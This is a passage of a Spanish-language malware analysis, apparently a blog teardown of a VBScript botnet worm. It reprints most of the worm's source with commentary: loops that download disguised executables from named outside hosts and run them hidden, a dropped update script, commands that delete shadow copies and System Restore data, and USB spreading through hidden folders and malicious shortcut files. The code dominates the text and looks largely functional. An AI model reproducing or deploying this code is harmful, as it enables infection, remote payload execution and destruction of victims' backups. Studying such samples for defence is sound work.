Continuamos con el análisis.
En el trozo de código que se muestra a continuación se procede a realizar varias tareas de usa sola tirada:
1.- Se accede a la carpeta “\system32\drivers” para renombrar el archivo: “flpydisk.sys” por el nombre: “flpydisk.sy_”. La ubicación de la carpeta a la que se ha accedido depende del contenido de la variable del sistema: “systemroot”.
NOTA: Habitualmente el contenido de esta variable será: “C:\Windows”
2.- Tras esta acción se procederá a eliminar a los siguientes archivos:
2.1.- \security\system.bat
2.2.- \security\system.exe
2.3.- \kernel\explorer.exe
2.4.- \kernel\update.exe
2.5.- reskp.exe
Las cuatro primeras eliminaciones se ubican en la carpeta indicada por el contenido de la variable del sistema: “systemdrive”, que normalmente contendrá el valor: “C:”
Hay que recordar que estas carpetas han sido creadas por el propio código de la botnet, y permanecen con la propiedad “oculta” activada.
La última eliminación se ubica en la carpeta indicada por el contenido de la variable: “temp”.
3.- Por último elimina el directorio: “system32” y todo su contenido, ubicado en “C:”
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d %systemroot%\system32\drivers & ren flpydisk.sys flpydisk.sy_ & del/f/q/s %systemdrive%\security\system.bat & del/f/q/s %systemdrive%\security\system.exe & del/f/q/s %systemdrive%\kernel\explorer.exe & del/f/q/s %systemdrive%\kernel\update.exe & del/f/q/s ""%temp%\reskp.exe""& rd/q/s %systemdrive%\system32 & EXIT",0
Set oShell = Nothing
En el trozo de código que se muestra a continuación se procede a crear el archivo: “rescue.vbe” en la ruta marcada por la variable: “Allusersprofile”.
NOTA: Habitualmente el contenido de esta variable será: “C:\ProgramData”
r00t=shell.ExpandEnvironmentStrings("%Allusersprofile%")
bkdr=r00t & "\rescue.vbe"
set fsO = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(bkdr, ForWriting , true)
f.writeline " On error resume Next "
f.writeline " wscript.sleep 30000 "'
f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run ""%systemroot%\system32\wscript.exe /e:VBScript.Encode """""&var1&"\kernel\r00t3r"",false "
f.writeline " wscript.sleep 300000 "'
f.writeline " Set shell = WScript.CreateObject(""WScript.Shell"") "
f.writeline " Set WshShell = Wscript.CreateObject(""Wscript.shell"") "
f.writeline " tmpdir=shell.ExpandEnvironmentStrings(""%temp%"") "
f.writeline " set wshshell=createobject(""wscript.shell"") "
f.writeline " mane = ""http://bootme.me.pn/"" "
f.writeline " yow = ""booter."" "
f.writeline " fin = ""dat"" "
f.writeline " strFileURL = """"&mane&""""&yow&""""&fin&"""" "
f.writeline " strHDLocation = tmpdir & ""\booter.dat"" "
f.writeline " set objXMLHTTP = CreateObject(""MSXML2.XMLHTTP"") "
f.writeline " objXMLHTTP.open ""GET"", strFileURL, false "
f.writeline " objXMLHTTP.send() "
f.writeline " If objXMLHTTP.Status = 200 Then "
f.writeline " Set objADOStream = _ "
f.writeline " CreateObject(""ADODB.Stream"") "
f.writeline " objADOStream.Open "
f.writeline " objADOStream.Type = 1 'adTypeBinary "
f.writeline " objADOStream. _ "
f.writeline " Write _ "
f.writeline " objXMLHTTP _ "
f.writeline " .ResponseBody "
f.writeline " objADOStream. _ "
f.writeline " Position = 0 "
f.writeline " Set objFSO = _ "
f.writeline " Createobject(""Scripting.FileSystemObject"") "
f.writeline " If objFSO. _ "
f.writeline " Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation "
f.writeline " Set objFSO = Nothing "
f.writeline " objADOStream _ "
f.writeline " .SaveToFile strHDLocation "
f.writeline " objADOStream.Close "
f.writeline " Set objADOStream = Nothing "
f.writeline " End if "
f.writeline " a = objXMLHTTP.getResponseHeader(""Content-Length"") "
f.writeline " Set objXMLHTTP = Nothing "
f.writeline " set loFSO = CreateObject(""Scripting.FileSystemObject"") "
f.writeline " loFSO.CopyFile """"&tmpdir&""\booter.dat"",""""&tmpdir&""\reskp.exe"" "
f.writeline " loFSO.DeleteFile """"&tmpdir&""\booter.dat"" "
f.writeline " Set oFSO = CreateObject(""Scripting.FileSystemObject"") "
f.writeline " stFichier = """"&tmpdir&""\reskp.exe"" "
f.writeline " Set oFl = oFSO.GetFile(stFichier) "
f.writeline " b = oFl.size "
f.writeline " if """"&a&"""" = """"&b&"""" then "
f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run """"""""&tmpdir&""\reskp.exe"""""",0,False "
f.writeline " else "
f.writeline " end if "
f.close
Visualmente, el archivo creado es:
Archivo “rescue.vbe”
Este realizará lo siguiente:
1.- Permanecerá inactivo durante 30 segundos.
2.- Codificara el archivo “r00t3r” ubicado en la carpeta: “kernel”
3.- Permanecerá inactivo durante otros 30 segundos
4.- Realizará una petición basada en protocolo HTTP a la URL: http://bootme.pn/booter.dat
5.- Lo que se descargue se descargará en la ubicación: “<carpeta temporal>/booter.dat”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
6.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “reskp.exe”
7.- Elimina en archivo descargado: “booter.dat”
8.- Ejecutamos el archivo: “reskp.exe”
Conclusiones: Estamos ante un procedimiento de actualización.
On error Resume NexT
En el trozo de código que se muestra a continuación se procede a eliminar las copias de seguridad realizadas por el propio sistema operativo.
Drive = ""
Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
ret=obj.Disable(Drive)
Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
ret=obj.Enable(Drive)
ret=obj.Enable(Drive)
Set obj = Nothing
set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K vssadmin delete shadows /all /quiet & cd/d ""%systemdrive%\system volume Information""& del/f/s/q/a ""%systemdrive%\system volume Information\*.*""& EXIT",0
Set oShell = Nothing
En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que permite parar la ejecución del código durante un cierto tiempo.
prem = TotalTime
deux = Start
dern = PauseTime
While True
dern = 3600
deux = Timer
Do While Timer < deux + dern
En el trozo de código que se muestra a continuación se procede a llamar al procedimiento: detectarracines.
detecterracines
Tras lo cual, se procede a dormir la ejecución del código durante 1 segundo
wscript.sleep 1000
En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que estará ejecutándose en todo momento que solicitará recursos de Internet.
Pasamos a analizarlo.
Loop
En el trozo de código que se muestra a continuación se procede a escribir el valor 0 en la clave de registro:
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0, "REG_DWORD"
En el trozo de código que se muestra a continuación se procede a realizar una petición hacia Internet solicitando la siguiente URL: http://registered.co.nf
oN eRroR rEsumE NeXT
Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")
urlCert = "http://registered.co.nf/"
xmlHttp.Open "GET", urlCert, False
xmlHttp.Send ""
xmlHttp.Abort
En el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo HTTP a la URL: http://timalin.99k.org/system.txt
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.txt”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.bat”
4.- Elimina en archivo descargado: “system.txt”
5.- Ejecutamos el archivo: “system.bat”
set wshshell=createobject("wscript.shell")
first = "http://timalin.99k.org/"
secon = "system."
ext = "txt"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\security\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.txt",""&third&"system.bat"
loFSO.DeleteFile ""&third&"system.txt"
Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.bat"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
set variable=createobject("wscript.shell")
variable.run """"&var1&"\security\system.bat""",0,False
else
end if
En el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo HTTP a la URL: http://ttimalin.0fees.net/system.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.exe”
4.- Elimina en archivo descargado: “system.jpg”
5.- Ejecutamos el archivo: “system.exe”
set wshshell=createobject("wscript.shell")
first = "http://ttimalin.0fees.net/"
secon = "system."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\security\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.jpg",""&third&"system.exe"
loFSO.DeleteFile ""&third&"system.jpg"
Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
set variable=createobject("wscript.shell")
variable.run """"&var1&"\security\system.exe""",0,False
else
end if
En el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo HTTP a la URL: http://d0n10ader.sxq.net/explorer.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\explorer.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “explorer.exe”
4.- Elimina en archivo descargado: “explorer.jpg”
5.- Ejecutamos el archivo: “explorer.exe”
set wshshell=createobject("wscript.shell")
first = "http://d0nl0ader.zxq.net/"
secon = "explorer."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream. Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\explorer.jpg",""&var1&"\kernel\explorer.exe"
loFSO.DeleteFile ""&var1&"\kernel\explorer.jpg"
Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"explorer.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
set variable=createobject("wscript.shell")
variable.run """"&var1&"\Kernel\explorer.exe""",0,False
else
end if
En el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo HTTP a la URL: http://r000t3r.zzl.org/update.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\update.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “update.exe”
4.- Elimina en archivo descargado: “update.jpg”
5.- Ejecutamos el archivo: “update.exe”
set wshshell=createobject("wscript.shell")
first = "http://r000t3r.zzl.org/"
secon = "update."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\update.jpg",""&var1&"\kernel\Update.exe"
loFSO.DeleteFile ""&var1&"\kernel\update.jpg"
Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"Update.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
set variable=createobject("wscript.shell")
variable.run """"&var1&"\kernel\Update.exe""",0,False
else
end if
Y finaliza el bucle.
Wend
En el trozo de código que se muestra a continuación se procede a analizar el procedimiento: ”detecterracines()”
sub detecterracines()
set fsO = CreateObject("Scripting.FileSystemObject")
set wshshell=createobject("wscript.shell")
Dim fso, d, dc, s, n
En el trozo de código que se muestra a continuación se procede a obtener todas las unidades creadas por el sistema.
Set dc = fso.Drives
Y para cada una de ellas…
For Each d in dc
racine = d.Driveletter & ":"
Se determina el tipo de unidad que es …
u= detectamovibles(racine)
Si la unidad es de tipo “Amovible” o “Fixe”, está preparada y no es la unidad “A:”, entonces…
if u = "Amovible" or u = "Fixe" and d.isready and racine <> "A:" then
set fsO = CreateObject("Scripting.FileSystemObject")
Se determina la existencia del archivo “config.dat” en la unidad analizada
if fsO.FileExists(""&d&"\config.dat") Then
Si existe, se determina la cantidad de datos que contiene:
1.- Si tiene más de 20 líneas, entonces se copia el contenido de las carpetas “c:\security” y “c:\kernel” en la unidad analizada, si establecen las propiedades de: “sistema” y “oculto”.
2.- Si tiene menos de 20 líneas, entonces se elimina el archivo “config.dat” de la unidad analizada.
3.- Si tiene 20 líneas, entonces se comprueba la diferencia entra la fecha del archivo “config.dat” y la fecha del sistema. Si la diferencia fuera inferior a “0”, entonces se elimina el archivo “config.dat” de la unidad y se copia en su lugar el archivo “blood.dat” ubicado en la carpeta: “C:\security”
Dim oFso, f
Dim ts, nl
Set oFso = CreateObject("Scripting.FileSystemObject")
Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
ts = f.ReadAll
if ""&f.line&""> 20 then
f.close
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K del/f/q/A ""%systemdrive%\security\*.dat""& xcopy /C /H /Y /R """&d&"\config.dat""""%systemdrive%\security""& attrib -s -h ""%systemdrive%\security\*.*""& ren ""%systemdrive%\security\*.*"" blood.dat & EXIT",0
oShell.run "cmd /K del/f/q/A ""%systemdrive%\kernel\*.dat""& xcopy /C /H /Y /R """&d&"\config.dat""""%systemdrive%\kernel""& attrib -s -h ""%systemdrive%\kernel\*.*""& ren ""%systemdrive%\kernel\*.*"" r00t3r & attrib +s +h ""%systemdrive%\kernel\*.*""& EXIT",0
Set oShell = Nothing
end if
Set oFso = CreateObject("Scripting.FileSystemObject")
Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
ts = f.ReadAll
if ""&f.line&""< 20 then
f.close
set fsO = CreateObject("Scripting.FileSystemObject")
fso.deletefile(""&d&"\config.dat"),true
end if
Set oFso = CreateObject("Scripting.FileSystemObject")
Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
ts = f.ReadAll
if ""&f.line&"" = 20 then
f.close
Dim stFichier
Dim oFl
Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&d&"\config.dat"
Set oFl = oFSO.GetFile(stFichier)
Set f = ofso.GetFile(stFichier)
fdate = f.DateLastModified
fname = f.Name
dtDiffFile = DateDiff("d", Now, fdate)
If dtDiffFile < 0 Then
fso.DeleteFile(stFichier),true
Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d ""%systemdrive%\security""& copy /b /y blood.dat + & EXIT",0
Set oShell = Nothing
end if
end if
else
Si el archivo “config.dat” no existe, se pasa a :
1.- Generar un archivo de nombre: “tmp.bat” en la carpeta temporal del sistema, en donde se almacenará el siguiente código.
Contenido del archivo: “tmp.bat”
El código hace lo siguiente:
1.- Elimina de la unidad todo archivo con extensión: “.vbe”, “.lnk”, así como los archivos: “config.dat”, “autorun.dat” y “microsoft.dat”
2.- Copia el archivo: “blood.dat”, ubicado en la carpeta: “c:\security”, a la unidad seleccionada con el nombre: “config.dat”
3.- Al nuevo archivo “config.dat” copia anteriormente se le otorgan las propiedades del “sistema” y “oculto”.
4.- Elimina de la unidad “C:” el archivo: “autorun.inf”, así como todos los archivos con extensión “.lnk”
tmpdir=shell.ExpandEnvironmentStrings("%temp%")
nomficl=tmpdir & "\tmp.bat"
set f = fso.OpenTextFile(nomficl, ForWriting , true)
f.writeline "del/f/q/a """&d&"\*.vbe"""
f.writeline "del/f/q/a """&d&"\*.lnk"""
f.writeline "del/f/q/a """&d&"\config.dat"""
f.writeline "del/f/q/a """&d&"\autorun.inf"""
f.writeline "del/f/q/a """&d&"\microsoft.dat"""
f.writeline "xcopy /C /H /Y /R """&MyF&""""""&d&"\"""
f.writeline "ren """&d&"\blood.dat"" config.dat "
f.writeline "attrib +s +H """&d&"\config.dat"""
f.writeline "del/f/q/a ""%systemdrive%\*.lnk"""
f.writeline "del/f/q/a ""%systemdrive%\autorun.inf"""
f.close
Se ejecuta el archivo “tmp.bat”
set variable = createobject("wscript.shell")
variable.run ""&nomficl&"" ,0,true
fso.DeleteFile nomficl, true
Const ForWriting = 2
RootFolder = ""&d&""
Ahora, por cada subdirectorio de la unidad, se crea un archivo de tipo “.lnk”, que antes de acceder al subdirectorio ejecutará el archivo “config.dat”. El subdirectorio es configurado con las propiedades de: “solo lectura”, “oculto” y “del sistema”.
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(RootFolder)
Set colSubfolders = objFolder.Subfolders
For Each objSubfolder in colSubfolders
exit for
next
set oShell = CreateObject("WScript.Shell")
sDesktop = WSHShell.SpecialFolders("Desktop")
set oSLink = WSHShell.CreateShortcut(""&d&"\"&objSubfolder.Name&".lnk")
strTarget = oShell.ExpandEnvironmentStrings("%windir%")
oSLink.TargetPath = strTarget & "\system32\cmd.exe"
oSLink.Arguments = "/c start WScRiPt.EXe /e:VBScRIpt.ENcOdE config.dat & C:\WINDOWS\explorer.exe "&objSubfolder.Name&""
oSLink.WindowStyle = 7
oSLink.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-4"
oSLink.Save
on error resume next
Set objFSo = CreateObject("scripting.FileSystemObject")
Set objFile = objFSo.GetFile(""&d&"\"&objSubfolder.Name&".lnk")
objFile.Attributes = 1
Set objFSO = CreateObject("Scripting.FileSystemObject" )
Set objFolder = objFSO.GetFolder(""&d&"\"&objSubfolder.Name&"")
objFolder.Attributes = objFolder.Attributes XOR 6
end if
end if
Next
end sub
Conclusión: Estamos ante el procedimiento que permite ejecutar el vector de infección.
En el trozo de código que se muestra a continuación se puede ver la función: ”detectamovibles()”, que permite determinar el tipo de unidad que se le pasa como parámetro.
Function detectamovibles(drvpath)
Dim fso, d, s, t
set fsO = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(drvpath)))
Select Case d.DriveType
Case 1: t = "Amovible"
Case 2: t = "Fixe"
End Select
detectamovibles = t
End Function
GRACIAS A:
'========================================================================================='
'
' C0d3 N4me : S4-|-4|\| |30-|-
' Cr34t0r : GRICCO
' Created for personal use , modifications or others are not authorized
' For more informations, looking 4 me { - CNG4L }
'
'========================================================================================='
POR FIN ... ¡FIN!